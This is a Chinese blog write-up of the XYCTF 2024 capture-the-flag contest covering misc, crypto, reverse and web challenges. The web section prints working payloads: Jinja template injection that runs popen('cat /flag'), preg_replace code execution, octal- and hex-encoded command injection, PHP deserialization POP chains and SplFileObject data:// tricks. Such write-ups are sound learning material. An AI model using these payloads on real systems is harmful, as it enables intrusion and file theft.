XYCTFwp及个人复盘

本文最后更新于 2024年5月7日 晚上


前言:写一写做出来的题目,和对web不会题目的复盘。是菜狗写的差轻喷。

Misc

签到

没难度吧,题目还没看到就被队友解决了。扫一下码就行了。

熊博士

下载,发现图片和一段类似flag的文字。对应xyctf,想到应该是古典密码埃特巴什码,找个网站一把梭就行。

熊博士

ez_隐写

最外层是队友打开的,用的是360的解压,不明白原理,我也打不开。

打开之后里面的用软件跑一下密码是20240401(开赛日),压缩包名字是watermark。

猜测应该是盲水印。

隐写

在网上锐化一下还是能看出来的。

XYCTF{159-WSX-IJN-852}

game

看一下是一个图片.game

一脸懵,一开始以为是什么特殊加密,用Google搜图发现是一个游戏。得到答案。

game1

zzl的护理小课堂

一开始以为就是搜题目解答我还特地都写了,结果写到100还是不给(真傻啊)。直接看源码,搜索alert,没出,那就score,搜到关键。zzl1

那就很简单了,打个断点然后score=101就行,注意flag是动态的。zzl2

zip神之套

解压,猜不出来看看exe,这里需要用ida打开(什么居然考re,还好入了个门)。ida64打开,zip

里面是八位,继续盲猜开赛日,20240401,套在里面果然打开了。

继续打开,能直接打开里面的一个,估计flag是在另外一个zip里面,估计是明文攻击直接用ARPCH明文攻击,这样就能打开了(太懒了不放图了

真>签到

用软件跑一下密码654321.打开发现啥也没有,用010打开zip,发现开头有flag。

EZ_Base1024*2

下载文件用软件跑一下出答案,用base2048base2048

Osint1

这是社工题,还挺好玩的,先用百度识图看一下。找到这篇文章。链接,确定了是在江苏省南通市,搜一下旁边是什么海,是黄海,那就差一条路了。然后我自己跑到google上面看看有没有实景的,再结合图片发现应该是在那个园区附近,还有大风车。(这里用的腾讯地图发现的,其他的都看不清osint1

看着像估计就是这里了,把可能的结果都试一下,发现是滨海东路。

Osint2

图片给的是高铁站的图片给的提示是已经玩结束要回去了,在12306搜索一下车次每天只有一班g3293,龙门是在河南省,靠近这个高铁站的就只有几个景点,最后试出来是老君山(我还没爬过,悲伤.jpg)

Ez_osint

图片下载直接整破防了,试了几种常规的png隐写没找出来,用stegsolve发现了一个水印网址 链接,一开始找到的是假flag,观察图片上面的时间直接去找原来的那封信,发现留言有flag(别样的社工题)。

出题有点烦

下载文件解压,用软件跑一遍是123456,解压,看到前面三个都不能正常看,用010打开,把开头重新编辑,正常可以看了,第一个图片是假的flag。试了一会之后发现用foremost第五个图像可以分离一个压缩包,提出来用软件跑一遍,密码是xyctf,打开里面是正确的flag.

美妙的歌声

下载是wav音频,用Audacity打开,打开多视图发现频谱图好像有点东西,微调一会发现是有东西的

音频

这大概率不是直接的flag,应该是key,用deepsound打开,解密分离得到flag.txt,里面有flag,

XYCTF{T0uch_y0ur_he3rt_d55ply!!}

Rosk,Paper,Scissors!

也是受高人指点,可以进行手搓,一个一个试,只有开头的会随机变,脚本多跑几遍就行了。上代码

1
2
3
4
5
6
7
8
from pwn import *
p=remote("localhost",57882)
a=["Rock","Paper","Paper","Scissors","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper","Scissors","Scissors","Rock","Rock","Paper","Paper"]
for i in a:
p.recvuntil("")
p.sendline(i)
p.interactive()

以下为复现(彩蛋

首先第一段应该是一个八进制转字符串

然后第三段应该是二进制转字符串彩蛋2

第二段说不需要扫描器,参考了其他师傅的wp,是下载图片转png图片,转化,然后用zsteg得到彩蛋3

审视了一下应该是键盘密码,键盘密码

彩蛋4

CRYPTO

happy_to_solve1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2
from Crypto.Util.number import *


n = 24852206647750545040640868093921252282805229864862413863025873203291042799096787789288461426555716785288286492530194901130042940279109598071958012303179823645151637759103558737126271435636657767272703908384802528366090871653024192321398785017073393201385586868836278447340624427705360349350604325533927890879
c = 14767985399473111932544176852718061186100743117407141435994374261886396781040934632110608219482140465671269958180849886097491653105939368395716596413352563005027867546585191103214650790884720729601171517615620202183534021987618146862260558624458833387692782722514796407503120297235224234298891794056695442287
e = 65537
t = 1
# 因为q是p的取反后取比其值大的最近的一个素数,所以p + q = 2**512 - 1 + t
for i in range(300):
phi = n - (2**512 - 1 + t) + 1
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
t += 2

Reverse

这部分就是闹着玩随便写写,我不会re就看看题目。所有也懒得放图了。

聪明的信使

这个用ida打开,然后空格一下就能看到明显类似flag的一段内容。

我记得好像是栅栏密码,网上一把梭就行了,没什么难度。

你是真的大学生吗?

这题有一丢丢借鉴别人,但是问题不大。同样也是用ida打开就行,找到关键内容就行,也是懒不想看了,(我又不是re手,直接上代码和答案。大学生

大学生1差不多吧,嘿嘿。

DebugMe

这题其实我感觉挺简单的,具体操作不会,下载一个安卓模拟器,然后用jeb调debugger就行,就能出答案了,but 我不会,sorry啦。

Web

web真是心碎啊,发现自己不会的还是太多太多了,会把所有没写出来的也顺带复盘一下。

ezhttp

diserach扫一下有flag.php和robots.txt,里面有账户和密码。

跟着要求在bp里面改就行了,考察一下头,wp如下。

User-Agent: XYCTF

client-Ip:127.0.0.1

via:ymzx.qq.com

Referer:yuanshen.com

Cookie:XYCTF

warm up

先上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

第一步要传入两个值不等但是md5弱比教相等。尝试传入数组或者用字符串弱比教。

1
val1=QNKCDZO&val2=s878926199a

第二步传入值的md5的值等于本身。

1
md5=0e215962017

第三步可以利用变量覆盖,把原先的覆盖掉,如下图

warm up

,之后进第二个页面

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

简要讲一下intval,这个函数会强制把传入的内容转换为数字,但是如果传入的内容是数组就可以进行绕过。

先尝试post一个a[]=1,会显示出操作你0.o

再审计一下下面的内容,问问万能的chatgpt这是个啥

$_GET[‘a’] 作为正则表达式模式,$_GET[‘b’] 作为替换的文本或模式,$_GET[‘c’] 作为输入的字符串或数组。具体来说,这段代码是根据从 URL 中获取的参数来执行正则表达式的搜索和替换操作。

尝试正则几个字母,然后b输入system(‘cat /flag’),c再输入几个前面正则的内容就行

post传入上面的内容对应,上图片。

warm1

ezMD5

上传两个图片Md5值相同即可,csdn上面有,可以自己搜,最后能出flag.

ezMake

偷偷扫了一下,问题不大吧,/flag就能出了make

ez?make

本题可以通过两次十六进制绕过,从而得到flag

先第一次转

1
cat /flag				636174202f666c6167

再转第二次

1
636174202f666c6167		363336313734323032663636366336313637

这里提个知识点

xxd -r 是将十六进制转换回去,-p是以postscript的连续十六进制转储输出。这也叫做纯十六进制转储。

所有应该为

1
`echo "363336313734323032663636366336313637"|xxd -r -p|xxd -r -p`

``是执行语句,执行里面的内容

xxd -r -p用来转化保持。

ez?make

我是一个复读机

首先猜测用户名是admin,给了字典爆破一下,密码是asdqwe

进去输入常规的sql和ssit和命令执行都不行

尝试输入汉字有括号,那我估计就是从这里入手,构造一个flask的注入

1
哈%print(()|attr(request.args.a))|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getit)(132)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.getit)(request.args.p)(request.args.cmd)|attr(request.args.r)()%&a=__class__&base=__base__&sub=__subclasses__&getit=__getitem__&cmd=cat /flag&ini=__init__&glo=__globals__&p=popen&r=read

可以得到flag

ezrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

本体只能用白名单上的进行绕过,有\有数字估计是八进制,空格用$<进行绕过。

累了,上payload吧,利用了简要的拼接。

rce

ezpop

对于反序列化不好的我一点也不ez,先看源码分析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

还有点长,简单的要分析一下,要得到flag,正常是反向推理。要得到flag大概率是call_user_func($a,$b)($c)($d);这个实现的,简单来说这是个嵌套的函数。__get是调用的成员属性不存在,才会调用。而AAA里的$this->s->$p; 可以进行调用一个不存在的从而实现调用。__toString把对象当成字符串调用,通常echo就可以调用成功。echo $this->c;就可以实现。那么显而易见大概的流程已经出来了。

CCC::destruct —> AAA::toString—>BBB::get,这样的大体流程。下面我们上代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class AAA {

public $s;
public $a;
}
class BBB {
public $c="echo system";
public $d="cat /flag";
}
class CCC
{ public $c;
}
$a=new CCC;
$b=new AAA;
$c=new BBB;
$a->c=$b;
$b->s=$c;
$b->a="eval";

echo serialize($a);

$a=new CCC;实例化调用__destruct(),之后就可以通过echo调用__tostring().里面调用$p = $this->a;

只要给a赋值BBB不存在的变量然后通过return,就能调用__get().

这里还要介绍一下implode函数,implode函数可以拼接内容,把后面的$b,c,d连起来构成语句

$c,$d已经赋值好了,还需要post传值ezpop

$b也可以传入exec,最后还有个小tip,原文都是2A,2B,2C,需要把类后面的属性即CCC后面的1改成2.

大题思路是这样,中间可能有冗杂的内容,至少把题目写出来了。

牢牢记住,逝者为大

牢大

so,what can i say,manba out

这题还是有许多值得学习的知识点的,先简要分析一下。

cmd的长度不能大于13

内容禁用的挺多的,如上

大致思路是需要拼接最后得到的,因为下方有个eval函数。

既然都禁了那我尝试转义吧,转十六进制可能会出现f,会被禁用,那么我们就转八进制。

laoda1

处于编码问题我们都是加一个\0,如下

1
\0143\0160\0040\0057\0146\0154\0141\0147\0040\0057\0166\0141\0162\0057\0167\0167\0167\0057\0150\0164\0155\0154\0057\0061\0056\0164\0170\0164\0012   ,最后的是换号符

再看前面要过滤man和mamba out,前面可以考虑换行%0A,后面%23注释掉就行

1
?cmd=%0A`$_GET[1]`;%23&1=%24(echo -e "")

反引号用于执行,%24是$,echo -e 用于执行转义,加上面的放入下面的代码中就可以实行。最后再切换到1.txt,得到答案。

lao2

以下为复现( εZ?¿м@Kε¿?

知识点,写这题之前可以看看这篇的知识点,简要的了解一下。εZ¿м@Kε¿

尝试了第一种和第二种都不行,看了其他师傅的wp,考察的可能是真的是makefile的知识点,之前也没搜过这方面的内容,就小学一下吧。这里简单的说一下。

$符号表示取变量的值,当变量名多于一个字符时,使用”( )”
$符的其他用法

1
2
3
$^ 表示所有的依赖文件
$@ 表示生成的目标文件
$< 代表第一个依赖文件

尝试输入内容。???

得知当前的依赖文件里面就是flag.

$<,显示的是/flag,那么<$<也就是</flag,由上面得知多于一个字符需要使用括号,那么就先构造**$(<$<)**,我的理解是取进去flag文件

里面的值,先输入看看,这是下面的回显。

1
Nothing to be done for 'FLAG'.

也就是说**$(<$<)**,可能代表的就是flag这个内容,读取我们需要再加个$

??

连连看到底是连连什么看

下载文件。先靠着打断点过了一次关发现并不能得到flag,看到文件里面有what’s_this.php,打开网页看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);

$p=$_GET['p'];

if(preg_match("/http|=|php|file|:|\/|\?/i", $p))
{
die("waf!");
}

$payload="php://filter/$p/resource=/etc/passwd";

if(file_get_contents($payload)==="XYCTF"){
echo file_get_contents('/flag');
}

看了wp,可以看一下这位师傅讲的原理,filterchain,简单的来说就是就是base64只能识别[A-Za-z0-9+/=],这些其他的不可见字符会自动忽略。原理大致就是最后只要解密成为XYCTF就可以了,这里师傅推荐的脚本,脚本,直接clone下来就可以用了构造一下

连连看

然后再脚本跑一下,连连看1

最后末尾要改一下,根据题目的设定以及要多解几次base64,多修改几次也就得到flag了。

连连看2

ezSerialize

哎,看到序列化反序列化就不想写,太菜了,先看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'flag.php';
highlight_file(__FILE__);
error_reporting(0);

class Flag {
public $token;
public $password;

public function __construct($a, $b)
{
$this->token = $a;
$this->password = $b;
}

public function login()
{
return $this->token === $this->password;
}
}

if (isset($_GET['pop'])) {
$pop = unserialize($_GET['pop']);
$pop->token=md5(mt_rand());
if($pop->login()) {
echo $flag;
}
}

这题第一层其实是原题,是ctfshow上面的,链接,由于md5(mt_rand())在变化而且很难爆破,只要让token=password就行我们写个代码。

1
2
3
4
5
6
7
8
<?php
class Flag {
public $token;
public $password;
}
$a=new Flag;
$a->password=&$a->token;
echo serialize($a);

serialize

进入第二层,贴个源码(真的烦啊.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
 <?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}

class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}

class C {
public $wang1;

public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}


class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}

class E {
public $name = "xxxxx";
public $num;

public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}

if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}

静下来分析以下其实第二层也不算太难的还是从后往前推,关键应该在echo $flag2这里

调用一个不存在的函数可以调用__call(),也就是$this->mack->nonExistentMethod();

__invoke()把对象当成函数就可以调用,return $function()可以解决这个问题。

__get调用不存在的属性,return is_null($this->lao->chen) ? “” : $this->lao->chen;可以解决。

__toString有echo就行,调用__unserialize($data) ,里面的,值得注意的是我看了其他师傅的wp,好像因为php版本问题,这里不能用,下面的wakeup也是可以调用的,分析完我罗列一下。

E::__wakeup->D::__tostring->B::__get->A::__invoke->C::__call;

我们尝试写一下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A {
public $mack;
}
class B {
public $luo;
}
class C {
public $wang1;
}
class D {
public $lao;
public $chen;
}
class E {
public $name = "xxxxx";
public $num;
}
$a=new E;
$b=new D;
$c=new B;
$d=new A;
$e=new C;
$a->name=$b;
$b->lao=$c;
$c->luo=$d;
$d->mack=$e;

echo serialize($a);

ser1

写完一遍发现也不是很难,看看第三层,先贴代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;

public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
{
$this->Liu = $Liu;
$this->T1ng = $T1ng;
$this->upsw1ng = $upsw1ng;
}
}

class XYCTFNO2
{
public $crypto0;
public $adwa;

public function __construct($crypto0, $adwa)
{
$this->crypto0 = $crypto0;
}

public function XYCTF()
{
if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
return False;
} else {
return True;
}
}
}

class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";

public function __construct($KickyMu, $fpclose)
{
$this->KickyMu = $KickyMu;
$this->fpclose = $fpclose;
}

public function XY()
{
if ($this->N1ght == 'oSthing') {
echo "WOW, You web is really good!!!\n";
echo new $_POST['X']($_POST['Y']);
}
}

public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}


if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}

好多出题人被扒上面啊,该打呜呜呜。

看了一遍好难,原生链和利用链,跟着师傅的思路跑一遍。

?写多了我感觉也不是太难了,上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class XYCTFNO1
{
public $Liu;
public $T1ng;
private $upsw1ng;
}
class XYCTFNO2
{
public $crypto0;
public $adwa;
}
class XYCTFNO3
{
public $KickyMu;
public $fpclose;
public $N1ght = "Crypto0";
}
$a=new XYCTFNO3;
$a->N1ght='oSthing';
$a->KickyMu=new XYCTFNO2;
$a->KickyMu->adwa=new XYCTFNO1;
$a->KickyMu->adwa->T1ng='yuroandCMD258';
echo serialize($a);

这里注意有private,需要%00填上

1
$this->adwa->crypto0 != 'dev1l'的原因还需要添s:7:"crypto0";s:5:"dev1l";
1
?CTF=O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO1":4:{s:3:"Liu";N;s:4:"T1ng";s:13:"yuroandCMD258";s:17:"%00XYCTFNO1%00upsw1ng";N;s:7:"crypto0";s:5:"dev1l";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}

post里面y肯定是构造伪协议这没什么问题,x的话我就不太懂了,文章,简要了解一下,类似file_get_contents,这里前面有new,可以用Splfileobject使用,确实长知识了。

ser2

ser3

ezClass

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

看了一下wp也是考的Spl原生类+伪协议利用,确实之前不知道这些。

?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag

login

没遇过的知识点,可以看看,前置知识

之后可以看官p,太难了技术有限。就到这里了。


XYCTFwp及个人复盘
http://example.com/2024/04/26/XYCTFwp及个人复盘/
作者
orange
发布于
2024年4月26日
许可协议